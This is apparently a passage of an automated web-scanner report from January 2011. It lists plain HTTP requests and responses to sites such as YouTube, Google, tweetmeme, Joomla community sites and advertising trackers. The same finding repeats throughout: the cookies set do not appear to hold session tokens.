HTTP/1.1 302 Moved Temporarily Server: AppleIDiskServer.1G3010 x-responding-server: hpng005-0 Location: http://www.me.com/account_error.html Content-Length: 0 Date: Tue, 25 Jan 2011 15:02:51 GMT Connection: close Set-Cookie: mmr=nk11r10; Domain=homepage.mac.com; Path=/yukikun
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: howto.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=4845 HTTP/1.1 Host: idpix.media6degrees.com Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt1181qqxzt1181qqxzt1181qqxzt1181qq; vstcnt=3lebnns021l034e2061201181qq4fhux122q000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru0000000000000004esx7120104tej0r013ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv18e3v00g0o02050210f; orblb=2lfk1rn012dh10u0100000; rdrlst=2110s7dpletz4d0000000c0o02050210co2ylebnns0000000g0o02050210f10elfk1rn000000010o010501101mmnlebnns0000000g0o02050210fxo1lebnns0000000g0o02050210fx1blebnns0000000g0o02050210feh5lf17qf000000080o0205021086bylemlne0000000e0o02050210ew3clebnns0000000g0o02050210f7gmlebnns0000000g0o02050210fjv6lebnns0000000g0o02050210fj4ilew2e20000000a0o02050210axthlebnns0000000g0o02050210ffullf8gij000000040o02050210410flfk1rn000000010o0105011010c9lfk1rn000000010o010501101jillebnns0000000g0o02050210ffuqlegh2b0000000f0o02050210fb6mlf17qk000000070o020502107mz1lebnns0000000g0o02050210fcajlfk1rn000000010o010501101p7vlebnns0000000g0o02050210f7vglfk1rn000000010o010501101xvslebnns0000000g0o02050210f10elfk1rn000000010o01050110110rlfjpei000000020o020502102xuklebnns0000000g0o02050210fx1jlebnns0000000g0o02050210fjk7lebnns0000000g0o02050210fcbnlfk1rn000000010o010501101yiplebnns0000000g0o02050210fyh0lebnns0000000g0o02050210fxwflebnns0000000g0o02050210fe4vlebnns0000000g0o02050210f10elfk1rn000000010o010501101jwblfk1rn000000010o010501101xwblebnns0000000g0o02050210f; sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo000000060o020502106ag2leqh190tkqe00d0o02050210d82gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns181qq00g0o02050210f5q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000020o020502102820lebnns181qq00e0l000400100b0olfjpei000000020o020502102ab4lebnns181qq00g0o02050210f9szlebnns181qq00g0o02050210f8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b13kpc00f0o02050210fal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns181qq00e0l0004001007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei000000020o020502102b08lfjpei000000020o02050210240slebnns181qq00e0l00040010045mlfdxmc000000030o020502103a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: CP="COM NAV INT STA NID OUR IND NOI" Pragma: no-cache Cache-Control: no-cache Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: clid=2lebnns011706ch47d7o8wtv18fgn00h0o03050310g; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: orblb=2lfk1rn012dh10u0100000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: rdrlst=20z0so2ylebnns0000000h0o03050310g7dpletz4d0000000d0o03050310d10flfk1rn000000020o020502102mmnlebnns0000000h0o03050310g10elfk1rn000000020o020502102x1blebnns0000000h0o03050310gxo1lebnns0000000h0o03050310geh5lf17qf000000090o0305031096bylemlne0000000f0o03050310fw3clebnns0000000h0o03050310g7gmlebnns0000000h0o03050310gjv6lebnns0000000h0o03050310gj4ilew2e20000000b0o03050310bxthlebnns0000000h0o03050310gfullf8gij000000050o0305031050c9lfk1rn000000020o020502102jillebnns0000000h0o03050310gfuqlegh2b0000000g0o03050310gb6mlf17qk000000080o030503108mz1lebnns0000000h0o03050310gcajlfk1rn000000020o020502102p7vlebnns0000000h0o03050310g7vglfk1rn000000020o020502102xvslebnns0000000h0o03050310g10rlfjpei000000030o030503103xuklebnns0000000h0o03050310gjk7lebnns0000000h0o03050310gx1jlebnns0000000h0o03050310gyiplebnns0000000h0o03050310gcbnlfk1rn000000020o020502102xwflebnns0000000h0o03050310gyh0lebnns0000000h0o03050310ge4vlebnns0000000h0o03050310gxwblebnns0000000h0o03050310gjwblfk1rn000000020o020502102; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo000000070o03050310782gletz4d0pqa500a0l000400100ag2leqh190tm3600e0o03050310e82hlebnns181qq00h0o03050310g9zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000030o030503103820lebnns181qq00e0l000400100b0olfjpei000000030o030503103ab4lebnns181qq00h0o03050310g9szlebnns181qq00h0o03050310g8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b13m2400g0o03050310gal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei000000030o0305031038bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns181qq00e0l000400100b08lfjpei000000030o03050310340slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc000000040o03050310440uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Location: http://r.openx.net/set?pid=1c6323e9-0811-5464-3af4-c00f47248395&rtb=6ch47d7o8wtv Content-Length: 0 Date: Tue, 25 Jan 2011 02:05:02 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /watch HTTP/1.1 Host: il.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 303 See Other Date: Mon, 24 Jan 2011 22:36:38 GMT Server: wiseguy/0.6.7 Content-Length: 0 X-Content-Type-Options: nosniff Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com Set-Cookie: VISITOR_INFO1_LIVE=oSlc8a237Qg; path=/; domain=.youtube.com; expires=Wed, 21-Sep-2011 22:36:38 GMT Set-Cookie: GEO=76ddae6b596d22d70649c3f298d7779ecwsAAAAzVVOtwdbzTT3+9g==; path=/; domain=.youtube.com Expires: Tue, 27 Apr 1971 19:44:06 EST Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Location: http://www.youtube.com/das_captcha?next=http%3A%2F%2Fil.youtube.com%2Fwatch&ytsession=9CCes4D_KlNIl7SiPulxyCata5FvenJFf1wQWKCp1FfowW4Ruca5frrRInIZHQDHadMY2zzc7eC949j37txZqBMfbtlMX76yyqg5YaUJdpArzok6qvSJGE2qJmTQ9us2_jirFmCfOuioCIHWzOYfDjeH5EK1C8wyNCA6uBNcN2zBzk-rtHd9cUnRz_cypFXxyGkfU6vqIN2wK124Rc1nHvt5kfu7275zZvGpAhvL8mAbr918TS_LFBmxlw8xwHA5YsyHQat_Or43vMW4bg-eXOa17nSCXUzcfvry5x_x-4tgaww7-soXyA Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images HTTP/1.1 Host: images.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://images.google.com/imghp"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: iphone.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /joomla-16-persian.html HTTP/1.1 Host: joomfa.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 22:39:56 GMT Server: Apache X-Powered-By: PHP/5.2.16 Set-Cookie: 16f55cf570d6624bbeb58e495d6f30df=a849d8a3dc9bc34166a8c90be1725ca5; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 22:39:57 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fa-ir" lang="fa-ir" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/1-projectnews/169-joomla-16-has-arrived.html HTTP/1.1 Host: joomla.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:37:02 GMT Server: Apache X-Powered-By: PHP/5.2.10-pl0-gentoo Set-Cookie: 7f6aa8350e5d9f947c38b269b8976dc4=4a235261b46f8b2ee986298970074f38; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 22:37:02 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 15767
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xht ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /powiadomienia/577-joomla-16-wydany.html HTTP/1.1 Host: joomla.pl Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:37:05 GMT Server: Apache Set-Cookie: 4133b150d3474bb471372c7e0b1cd514=f7c7ef79892a51ea61ed57003bef1c55; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 22:37:06 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 30587
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl-pl" lang="pl-pl" > ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: joomladaywest.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 16:24:27 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: f4aaeac59edff6688553483de8bbfaa8=a395c8457293151f4f06fc703f0be19c; path=/ Last-Modified: Tue, 25 Jan 2011 16:24:27 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 13838
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sponsors HTTP/1.1 Host: joomladaywest.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 16:23:13 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: f4aaeac59edff6688553483de8bbfaa8=3f4a17211ce3ef3f5426d699b92295e9; path=/ Set-Cookie: rokweather_location=San+Jose%2C+CA; expires=Wed, 25-Jan-2012 16:23:14 GMT; path=/ Last-Modified: Tue, 25 Jan 2011 16:23:17 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 24284
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /the-conference/keynote-speakers HTTP/1.1 Host: joomladaywest.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 16:22:53 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: f4aaeac59edff6688553483de8bbfaa8=936574c2ff061b089c217e85dbbff94a; path=/ Set-Cookie: rokweather_location=San+Jose%2C+CA; expires=Wed, 25-Jan-2012 16:22:53 GMT; path=/ Last-Modified: Tue, 25 Jan 2011 16:22:54 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 26805
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/view/2239/70/ HTTP/1.1 Host: joomlaportal.ru Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Mon, 24 Jan 2011 22:41:10 GMT Content-Type: text/html; charset=windows-1251 Connection: close X-Powered-By: PHP/5.2.10 ETag: 62229839aa89cfd54c936ea9dd5cac22 Set-Cookie: 5fc991999f8b2e5e5bb2e3566d439f1f=be443c241334634b0c6c368448814be8; expires=Tue, 25-Jan-2011 10:41:10 GMT; path=/ Last-Modified: Tue, 11 Jan 2011 11:16:11 GMT Content-Length: 20791
<?xml version="1.0" encoding="windows-1251"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/19 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gateway/gw.js?csid=K04491 HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; udm_0=MLvv8iMJPj5n556Bo8jwxg27aVMsKvlZeh88v6LFxvi6NShB6ZO83AmHuP4JgK9bvgpJZgsqUaP2xfTnxNPh9+fmSEPkCVwJX705HIrDAdU6h9yhStmEjquZrguVeF3r0KH2OzLBVWAxUkwC4gAcARichgtw510EVacnhilf+8mRFAtdqKZBM6NUyjil0ZdVPRDqI+Ti+FIe6fewtlE9GinOst7C+rlOGLcLpjRwr3ZfMSayOJgkjwJdHiBSJ9kAcsoTnnNvaA7Xcb0oB88geiObO0gCWiOMGKuhN5NhpXa5wNJrUpjtCGmrVtVPNsrxL9ryWzajTucvw6SIgD8tYcWt49xZgaknzfQMm4nMuUr+qb1f+Ms3ek2Rc8bT/TWEYTevTxXB1YSJNhNpyO+5lLFTcDcxf+duWIK8eU0eIZAncGmWmIMN2HAprOXDL92vjPG5GfbTEfgpUERmJC38xypT/U/eZtb2YBNcle27OeZkVpQY88kycEdRsS0Ks4HLd9MJ6YiDUxLI3FUlyF0iCBOApuRiSn2zDur8XA1O6kZwXMP/vqnO/qlcm8YSMQteDyI8xTLOkrtw5XuzDTiehCDdIT5AUFXEVikG1xbWOf61/rLXUN710OVSlXuiKpp7slVOdtdIlvK5Ef2r/dR4A+dOCYr8QFU/PgPleGbyIL5+FSmkfzlkK9kpSlXIgokpHC3DmN7FSnZ4W681z5mM3+bkQyAQa1deCg6dY3j8xQBsPgkVRyyliBZ/BT5AfFB6Kt2bfoD+HZA9FOS08BLyiny5VyDBbEms9liC5Fs3TFj1lR+RyszTbus6ezqbVXF77t83kYCDwMJ+4srH8tO8ZoaqbVgfKSopwI144BcK1RceyhLfvKeO2mls6933wcTzEXOpWYxsjrgl5Q==; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==
//Vermont-12.4.0-1012 var rsi_now= new Date(); var rsi_csid= 'K04491';if(typeof(csids)=="undefined"){var csids=[rsi_csid];}else{csids.push(rsi_csid);};function rsiClient(Da){this._rsiaa=Da;this._rsiba ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: justinbieber.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: jxtended.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Expires: Sat, 05 Mar 2011 22:43:31 GMT Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: max-age=3456000 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 X-Powered-By: PHP/5.2.4-2ubuntu5.10 Set-Cookie: 6c37e8bd0240127217c04b915442f361=3ec280dd7e0fe2d662e6892192cf45b2; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Last-Modified: Mon, 24 Jan 2011 22:43:32 GMT Pragma: no-cache Date: Mon, 24 Jan 2011 22:43:32 GMT Server: lighttpd/1.4.19 Content-Length: 14152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <base ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cmadj/cm.martini/ HTTP/1.1 Host: k.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 7047 Date: Tue, 25 Jan 2011 16:30:36 GMT Connection: close Set-Cookie: JY57=CT; expires=Tue, 22-Feb-2011 16:30:36 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11de1c500e0115c; domain=collective-media.net; path=/; expires=Thu, 24-Jan-2013 16:30:36 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d76/x26 HTTP/1.1 Host: khm0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=a90843375ef24eb2:TM=1295973379:LM=1295973379:S=y00SfeV21WdWqUTv; expires=Thu, 24-Jan-2013 16:36:19 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 16:36:19 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d76/x26 HTTP/1.1 Host: khm1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=cf9e7ea08ee15b44:TM=1295973396:LM=1295973396:S=r_nSTLT0WyjGau-L; expires=Thu, 24-Jan-2013 16:36:36 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 16:36:36 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
